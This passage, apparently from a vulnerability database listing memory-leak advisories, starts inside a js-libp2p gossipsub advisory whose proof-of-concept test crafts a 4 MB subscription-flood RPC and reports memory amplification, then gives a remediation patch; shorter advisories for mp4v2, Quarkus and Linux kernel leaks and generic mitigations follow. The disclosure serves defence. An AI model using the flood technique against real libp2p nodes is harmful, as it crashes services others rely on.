victimPubsub.topics.size as number\n\n    console.log(`\\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()}`)\n    console.log(`[PoC] this.topics.size after  disconnect: ${topicsAfterDisconnect.toLocaleString()}`)\n    console.log(`[PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan)`)\n    console.log(`[PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -\u003e memory not freed`)\n\n    // Topics Map is unchanged in SIZE \u2014 empty Sets persist\n    assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect,\n      `this.topics.size should be unchanged after disconnect (empty Sets persist); ` +\n      `was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect}`)\n\n    // removePeer O(N) scan should take non-trivial time with 349K entries\n    assert.ok(disconnectMs \u003e 5,\n      `expected removePeer to take \u003e5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms`)\n\n    // Verify Sets are actually empty (peer removed from each)\n    let emptyCount = 0\n    for (const [, peers] of victimPubsub.topics) {\n      if ((peers as Set\u003cstring\u003e).size === 0) emptyCount++\n    }\n    assert.ok(emptyCount \u003e= UNIQUE_TOPICS_PER_RPC,\n      `expected \u2265${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount}`)\n  })\n\n  it(\u0027ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection\u0027, function () {\n    this.timeout(30_000)\n    const MAX_LP_BYTES = 4 * 1024 * 1024\n\n    // Find exact maximum with binary search\n    const maxCount = maxTopicsIn4MB()\n    const rpc = buildSubscriptionFloodRpc(maxCount)\n\n    const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4\n\n    console.log(`\\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()}`)\n    console.log(`[PoC] Serialised RPC size:              ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)\n    console.log(`[PoC] LP frame limit:                   ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB`)\n    console.log(`[PoC] Fits in one frame:                ${rpc.byteLength \u003c= MAX_LP_BYTES ? \u0027YES \u2713\u0027 : \u0027NO \u2717\u0027}`)\n    console.log(`[PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap)`)\n    console.log(`[PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification)`)\n\n    assert.ok(rpc.byteLength \u003c= MAX_LP_BYTES,\n      `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default \u2014 confirms no LP-level protection`)\n    assert.ok(maxCount \u003e 100_000,\n      `expected \u003e100K subscriptions per 4 MB frame, got ${maxCount}`)\n  })\n})\n```\n\n### Impact\n- **Availability (memory)**: single peer, ~68MB bandwidth -\u003e OOM crash in ~5s at 100Mbps. Non-recoverable within process lifetime thus memory never freed even if attacker disconnects.\n- **Availability (CPU)**: 224ms event-loop block per 4MB subscription RPC (synchronous `forEach`); grows with accumulated attack state.\n- **No score mitigation**: subscription processing has no score check and no score penalty for flooding.\n- **Affected deployments**: any node running `@libp2p/gossipsub` with default options that accepts inbound connections: Lodestar (Ethereum consensus), IPFS pubsub, any `createLibp2p({ services: { pubsub: gossipsub() } })`.\n- **Partial mitigation only**: setting `opts.allowedTopics` caps growth to `allowedTopics.size` topics per attacker; does not fix the memory leak for allowed topics or the O(N) `removePeer` scan.\n\n### Suggested remediation\nDelete empty Sets on unsubscribe and disconnect:\n\n```typescript\n// handleReceivedSubscription\n} else {\n  topicSet.delete(from.toString())\n  if (topicSet.size === 0) this.topics.delete(topic)\n}\n\n// removePeer\nfor (const [topic, peers] of this.topics) {\n  peers.delete(id)\n  if (peers.size === 0) this.topics.delete(topic)\n}\n```\n\nClear `this.topics` in `stop()`:\n\n```typescript\nthis.topics.clear()\n```",
  "id": "GHSA-4f8r-922h-2vgv",
  "modified": "2026-06-11T14:06:22Z",
  "published": "2026-05-21T21:38:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-4f8r-922h-2vgv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46679"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/js-libp2p"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-libp2p: Memory DoS via subscription flood of unique topics"
}

GHSA-4F98-PQGF-7WQW

Vulnerability from github – Published: 2023-06-01 03:30 – Updated: 2024-04-04 04:27
VLAI
Details

mp4v2 v2.1.3 was discovered to contain a memory leak via the class MP4StringProperty at mp4property.cpp.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-33716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-01T03:15:20Z",
    "severity": "MODERATE"
  },
  "details": "mp4v2 v2.1.3 was discovered to contain a memory leak via the class MP4StringProperty at mp4property.cpp.",
  "id": "GHSA-4f98-pqgf-7wqw",
  "modified": "2024-04-04T04:27:36Z",
  "published": "2023-06-01T03:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33716"
    },
    {
      "type": "WEB",
      "url": "https://github.com/enzo1982/mp4v2/issues/36"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4FWR-MH5Q-HCHH

Vulnerability from github – Published: 2025-02-26 18:30 – Updated: 2026-04-27 16:35
VLAI
Summary
io.quarkus:quarkus-resteasy: Memory Leak in Quarkus RESTEasy Classic When Client Requests Timeout
Details

A flaw was found in the quarkus-resteasy extension, which causes memory leaks when client requests with low timeouts are made. If a client request times out, a buffer is not released correctly, leading to increased memory usage and eventual application crash due to OutOfMemoryError.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.quarkus:quarkus-resteasy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.16.0.CR1"
            },
            {
              "fixed": "3.19.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.quarkus:quarkus-resteasy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.0.CR1"
            },
            {
              "fixed": "3.15.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.quarkus:quarkus-resteasy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.8.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-1634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-26T21:06:49Z",
    "nvd_published_at": "2025-02-26T17:15:22Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in the quarkus-resteasy extension, which causes memory leaks when client requests with low timeouts are made. If a client request times out, a buffer is not released correctly, leading to increased memory usage and eventual application crash due to OutOfMemoryError.",
  "id": "GHSA-4fwr-mh5q-hchh",
  "modified": "2026-04-27T16:35:32Z",
  "published": "2025-02-26T18:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1634"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quarkusio/quarkus/issues/46412"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quarkusio/quarkus/pull/46426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quarkusio/quarkus/pull/46425"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quarkusio/quarkus/pull/46419"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quarkusio/quarkus/commit/80b8eb41678cdccb46e964dc324d048a5ef00f4b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quarkusio/quarkus/commit/70ffbd00d71d43afa7eade32d6ed586cf927c237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quarkusio/quarkus/commit/30d949a4c54ba1057738849a804d2329c09e57be"
    },
    {
      "type": "WEB",
      "url": "https://github.com/quarkusio/quarkus/commit/291296befabf659b71acbfc6e03a12bd09a920f8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/quarkusio/quarkus"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2347319"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-1634"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:9922"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23417"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:2067"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:1885"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:1884"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:12511"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "io.quarkus:quarkus-resteasy: Memory Leak in Quarkus RESTEasy Classic When Client Requests Timeout"
}

GHSA-4FXC-V2FQ-WGMF

Vulnerability from github – Published: 2024-05-21 15:31 – Updated: 2024-12-31 21:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

libbpf: Fix memory leak in strset

Free struct strset itself, not just its internal parts.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-47417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-21T15:15:27Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nlibbpf: Fix memory leak in strset\n\nFree struct strset itself, not just its internal parts.",
  "id": "GHSA-4fxc-v2fq-wgmf",
  "modified": "2024-12-31T21:30:44Z",
  "published": "2024-05-21T15:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47417"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/9e8e7504e09831c469b67d6dc11d9a72654bdb8c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b0e875bac0fab3e7a7431c2eee36a8ccc0c712ac"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4G9Q-6GCQ-F3VX

Vulnerability from github – Published: 2025-05-01 15:31 – Updated: 2025-05-07 15:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

tracing: kprobe: Fix memory leak in test_gen_kprobe/kretprobe_cmd()

test_gen_kprobe_cmd() only free buf in fail path, hence buf will leak when there is no failure. Move kfree(buf) from fail path to common path to prevent the memleak. The same reason and solution in test_gen_kretprobe_cmd().

unreferenced object 0xffff888143b14000 (size 2048): comm "insmod", pid 52490, jiffies 4301890980 (age 40.553s) hex dump (first 32 bytes): 70 3a 6b 70 72 6f 62 65 73 2f 67 65 6e 5f 6b 70 p:kprobes/gen_kp 72 6f 62 65 5f 74 65 73 74 20 64 6f 5f 73 79 73 robe_test do_sys backtrace: [<000000006d7b836b>] kmalloc_trace+0x27/0xa0 [<0000000009528b5b>] 0xffffffffa059006f [<000000008408b580>] do_one_initcall+0x87/0x2a0 [<00000000c4980a7e>] do_init_module+0xdf/0x320 [<00000000d775aad0>] load_module+0x3006/0x3390 [<00000000e9a74b80>] __do_sys_finit_module+0x113/0x1b0 [<000000003726480d>] do_syscall_64+0x35/0x80 [<000000003441e93b>] entry_SYSCALL_64_after_hwframe+0x46/0xb0

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-49891"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-01T15:16:14Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing: kprobe: Fix memory leak in test_gen_kprobe/kretprobe_cmd()\n\ntest_gen_kprobe_cmd() only free buf in fail path, hence buf will leak\nwhen there is no failure. Move kfree(buf) from fail path to common path\nto prevent the memleak. The same reason and solution in\ntest_gen_kretprobe_cmd().\n\nunreferenced object 0xffff888143b14000 (size 2048):\n  comm \"insmod\", pid 52490, jiffies 4301890980 (age 40.553s)\n  hex dump (first 32 bytes):\n    70 3a 6b 70 72 6f 62 65 73 2f 67 65 6e 5f 6b 70  p:kprobes/gen_kp\n    72 6f 62 65 5f 74 65 73 74 20 64 6f 5f 73 79 73  robe_test do_sys\n  backtrace:\n    [\u003c000000006d7b836b\u003e] kmalloc_trace+0x27/0xa0\n    [\u003c0000000009528b5b\u003e] 0xffffffffa059006f\n    [\u003c000000008408b580\u003e] do_one_initcall+0x87/0x2a0\n    [\u003c00000000c4980a7e\u003e] do_init_module+0xdf/0x320\n    [\u003c00000000d775aad0\u003e] load_module+0x3006/0x3390\n    [\u003c00000000e9a74b80\u003e] __do_sys_finit_module+0x113/0x1b0\n    [\u003c000000003726480d\u003e] do_syscall_64+0x35/0x80\n    [\u003c000000003441e93b\u003e] entry_SYSCALL_64_after_hwframe+0x46/0xb0",
  "id": "GHSA-4g9q-6gcq-f3vx",
  "modified": "2025-05-07T15:31:26Z",
  "published": "2025-05-01T15:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-49891"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/66f0919c953ef7b55e5ab94389a013da2ce80a2c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/71aeb8d01a8c7ab5cf7da3f81b35206f56ce6bca"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/bef08acbe560a926b4cee9cc46404cc98ae5703b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d1b6a8e3414aeaa0985139180c145d2d0fbd2a49"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4GP8-RV6J-2QPW

Vulnerability from github – Published: 2025-09-23 18:30 – Updated: 2025-09-23 18:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

block: null_blk: end timed out poll request

When poll request is timed out, it is removed from the poll list, but not completed, so the request is leaked, and never get chance to complete.

Fix the issue by ending it in timeout handler.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-49057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-26T07:00:42Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock: null_blk: end timed out poll request\n\nWhen poll request is timed out, it is removed from the poll list,\nbut not completed, so the request is leaked, and never get chance\nto complete.\n\nFix the issue by ending it in timeout handler.",
  "id": "GHSA-4gp8-rv6j-2qpw",
  "modified": "2025-09-23T18:30:20Z",
  "published": "2025-09-23T18:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-49057"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3e3876d322aef82416ecc496a4d4a587e0fdf7a3"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/407d09a22f3f685fd634aa5d05840c64b23bfebc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-41
Implementation

Strategy: Libraries or Frameworks

  • Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.
  • For example, glibc in Linux provides protection against free of invalid pointers.
  • When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391].
  • To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.
Mitigation
Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Mitigation
Architecture and Design Build and Compilation

Consider using the Boehm-Demers-Weiser garbage collector (bdwgc), which can help avoid leaks.

No CAPEC attack patterns related to this CWE.